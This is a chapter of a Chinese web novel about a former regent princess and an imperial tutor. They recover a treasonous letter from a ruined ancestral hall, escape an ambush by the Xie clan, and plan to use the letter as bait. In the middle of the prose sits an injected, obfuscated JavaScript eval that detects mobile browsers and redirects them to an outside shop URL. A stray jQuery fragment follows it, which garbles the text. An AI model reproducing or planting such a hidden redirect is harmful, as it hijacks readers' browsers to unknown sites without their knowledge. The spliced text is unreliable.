“北郊,有一座荒废的村落,叫瓦窑村。以前闹过瘟疫,人死绝了,没人再去。”顾衍之的声音很低,“暗哨在村子东头的祠堂下面。”
马车在辰时三刻到了瓦窑村。宋知宜下车,眼前是一片荒废的村落,残垣断壁,枯草丛生。积雪覆盖着倒塌的房屋,看不出有人来过的痕迹。但她蹲下来,用手指拨开地上的积雪,露出底下的泥土,有马蹄印,是新的,不超过两天。
“有人来过。”她说。
顾衍之走过来,蹲下,看着那道马蹄印,他的脸色沉了一下,“谢严的人?”
“也许只是路过的猎户。”沈七猜测。
“猎户不会把车赶到祠堂门口。”顾衍之站起来,往东边走去。
宋知宜跟在他后面,沈七护在一侧。三人穿过废墟,走到一处倒塌的祠堂前。祠堂的屋顶已经塌了大半,梁柱歪歪斜斜地立着,门上挂着一把生锈的铁锁。宋知宜看了一眼那把锁,锁孔周围没有划痕,没有被撬过的痕迹。她蹲下来,检查地上的雪——有人来过,但没有靠近祠堂,脚印在距离祠堂十步远的地方就折返了。“他们没进去。”不正常,都找到这里了,怎么会不进去看看。
沈七一刀劈在铁锁上,咔哒,铁锁掉在地上,发出一声闷响。
“小心点。”顾衍之从袖中取出那截断笛,“暗哨的机关需要帝师的信物才能打开。硬闯,只会触发机关,把里面的东西毁掉。”他走到门前,将断笛的对准旁边不起眼的石像的一个小孔,轻轻转了半圈。
他推开门,走进去。宋知宜跟在他身后。祠堂里很暗,只有墙上的裂缝漏进几缕光。地上铺着厚厚的灰尘,没有脚印。顾衍之走到供桌前,蹲下来,伸手在供桌底下摸索了一阵。宋知宜听见一声轻微的“咔哒”。供桌底下的地面裂开一条缝,露出一个黑洞洞的暗格。
顾衍之将手伸进暗格,从里面取出一只铁匣。铁匣不大,巴掌见方,他将铁匣递给宋知宜。
宋知宜接过铁匣,打开盖子,里面是一封信,信纸发黄,她展开信纸,目光扫过上面的字迹,是瓦剌文,她看不懂,但信纸的末尾盖着一枚朱红色的印,是谢家家主的私印。
她将信折好,放回铁匣里,抬起头,看着顾衍之。正要说话,外面忽然传来沈七的低喝:“什么人?”
紧接着是兵刃交击的声响。宋知宜将铁匣收进袖中,抽出剑,挡在顾衍之前面,快步走出祠堂。门外,沈七已经和五六个黑衣人交上了手。刀光在雪地里闪了几闪,沈七的手臂被划了一道口子,血滴在雪上,鲜红醒目。
谢严从一堵断墙后面走出来,负手而立,看着宋知宜,嘴角挂着一丝笑意:“长公主,别来无恙。”
宋知宜站在祠堂门口,没有说话。
“你以为甩掉了我的人?”谢严摇了摇头,“那几个是故意让你甩的。我知道你们一定会来这里。”他看了一眼她身后的祠堂,“三年前玄衣司的人从谢家偷走了一封信,我查了三年,终于查到这里,多谢你们带路。”
宋知宜的手指微微收紧。她看着谢严,又看了看他身后的黑衣人,十几个,加上正在与沈七沈八缠斗的六个,近二十个人。她只有三个人,硬拼,拼不过。
“你要那封信。”她说。
“给我,你们走。”谢严伸出手,“不给,你们——走不了。”
宋知宜沉默了片刻。她从袖中取出那只铁匣,托在手心里。谢严的目光落在铁匣上,眼睛里闪过一丝贪婪的光。宋知宜看着他的眼睛,忽然将铁匣抛向空中。谢严下意识地伸手去接,就在这一瞬间,宋知宜身形一晃,长剑直取他的咽喉。
谢严猛地后退,铁匣从他指尖滑落,掉在地上,盖子摔开,那封信飘了出来,落在雪地里。谢严弯腰去捡,宋知宜的刀已经到了他面前。他不得不放弃,连退数步。宋知宜没有追,一脚踩住那封信,剑直指着谢严的胸口。
“你猜,”她的声音很平,“是你的人先冲上来,还是我的剑先刺进去?”
谢严制住了他带来的人,示意他们往后退。
“走。”宋知宜对顾衍之和沈七说。
两人退到祠堂里。宋知宜弯腰,捡起那封信,塞进袖中。她架着谢严一步步后退,退到祠堂门口。
“长公主,”谢严被架着艰难开口,“你以为你走得掉?”
宋知宜冷笑一声,一掌将他拍出去,她退进祠堂,关上门,门闩被顾衍之重新插上。
“后门。”顾衍之的声音在黑暗中响起。
宋知宜转过身,看见顾衍之沈七已经打开了祠堂后墙上一扇被木板封住的窗户。光从外面漏进来,她快步走过去,翻窗而出,顾衍之跟在后面也翻了过去。
祠堂后面是一片枯树林,树不多,但足够藏身。三人弯着腰,借着树木的掩护,往南边摸去。身后,祠堂的门被撞开了,谢严的人涌进来。
走出大约一里地,前面是一条官道。沈八的马就拴在官道边的树上。
几人上了马,朝京城方向奔去。回府时,天已经快黑了。宋知宜下了马,走进后院厢房,在桌边坐下,将那封信从袖中取出来,放在桌上。信纸被雪水湿了一角,但字迹还在,印也还在。
宋知宜将那封信折好,抬起头看着顾衍之。他的目光落在那只铁匣上,眉心微微蹙着:“这封信你打算怎么办?”
“暂时先放着。现在拿出来,只会让谢家狗急跳墙。”宋知宜将手指搭在铁匣的盖子上,一下一下地轻叩:“这封信上写了什么?”
“这封信是瓦剌可汗写给谢家家主的,内容是里应外合,蚕食北境。”
“若是三年前有这封信,想治谢家的罪自然不难。可如今我已退出朝堂,世上已无摄政长公主。而你……”
“我虽有帝师之实,却已失踪三年,如今玄衣司蛰伏暗中已久,还有多少人会听我号令并不清楚。”顾衍之很清楚宋知宜的顾虑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579995|202697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
除此之外,宋知宜顾虑的还有很多:“如今朝堂上,谢家一家独大,门下党与众多,在朝中到底有多少势力?我们把信交给谁?谁能值得相信?陛下?他现在信我,还是信你?”他们两个,一个假死,一个失踪,突然出现,皇帝大概谁都不会相信。“况且三年前谢家上面有众人压制着,没有多少势力,才会想要勾结外敌。如今以谢家的权势,如是逼急了,狗急跳墙,京城要再现当年镇南王之乱吗?”这次又会祸及到多少人?又有谁能平定这次动乱呢?
顾衍之知道她说得对,一封信,孤证,扳不倒谢家。
“不过也不是没有用。”宋知宜将铁匣推到桌角,“我们用它来逼谢家露出破绽。他们知道我们手里有信,却不知道我们手里到底有多少,就会慌,一慌,就会动,一动,就会露出更多马脚。”
顾衍之站起来,走到她身侧,隔了一步的距离:“你不怕他们抢先动手?”
“所以我们动作要比他们快。”宋知宜看着他的眼睛。顾衍之恍惚又看见了当年大权在握指点江山的摄政公主模样,一闪而过。
顾衍之看着她,站在窗前,月光落在她肩上,将她的轮廓映得有些模糊。他忽然想起三年前那些密报上的字迹,清隽瘦劲,每一笔都斩钉截铁。她还是那个人,那个在城楼上看着火光、面不改色的长公主。
“你要用这封信做饵。”他说。
宋知宜没有否认。“谢家会派人来找这封信,无论时派人来偷,还是派人来抢。他们动得越多,留下的痕迹就越多。我们只需要,等着他们自己把证据或者线索送上门来。”
顾衍之忽然笑了:“你以前不是这样的。”
宋知宜好奇:“什么样?”
顾衍之回想了一下:“过去的你做事果决,雷厉风行,而现在耐心了很多。”
“以前我是长公主,手里有兵有权,想打谁就打谁。”宋知宜语气说笑,“现在我什么都不是,只能多费事些,只能让他们自己打自己。”
顾衍之在她对面坐下,倒了一杯热茶,推到她面前。
“谢家,不急。”宋知宜端起茶杯,看着茶汤里自己的倒影,“急的是边关。”
“瓦剌人不会等。”宋知宜抬起眼,“他们跟谢家约定了里应外合,谢家还没动手,但瓦剌人已经在边境集结了。如果谢家一直不动,瓦剌人会等不及,自己打过来。”她将茶盏放下,“到时候,不管谢家配不配合,边关这场仗就不可避免。”
“所以你要在瓦剌动手之前,先逼谢家动手。”他说。
“不是逼谢家动手。”宋知宜的声音很轻,“是逼皇帝动手。”
顾衍之抬起眼看着她。
“皇帝手里有兵有将,有先帝留下的忠臣,但他不用,太傅教他的为君之道,他是一点都没有记住,整天想着争权,结果又亲自养出了谢家这匹对他虎视眈眈的狼,处处被谢家掣肘,不敢有丝毫动作。”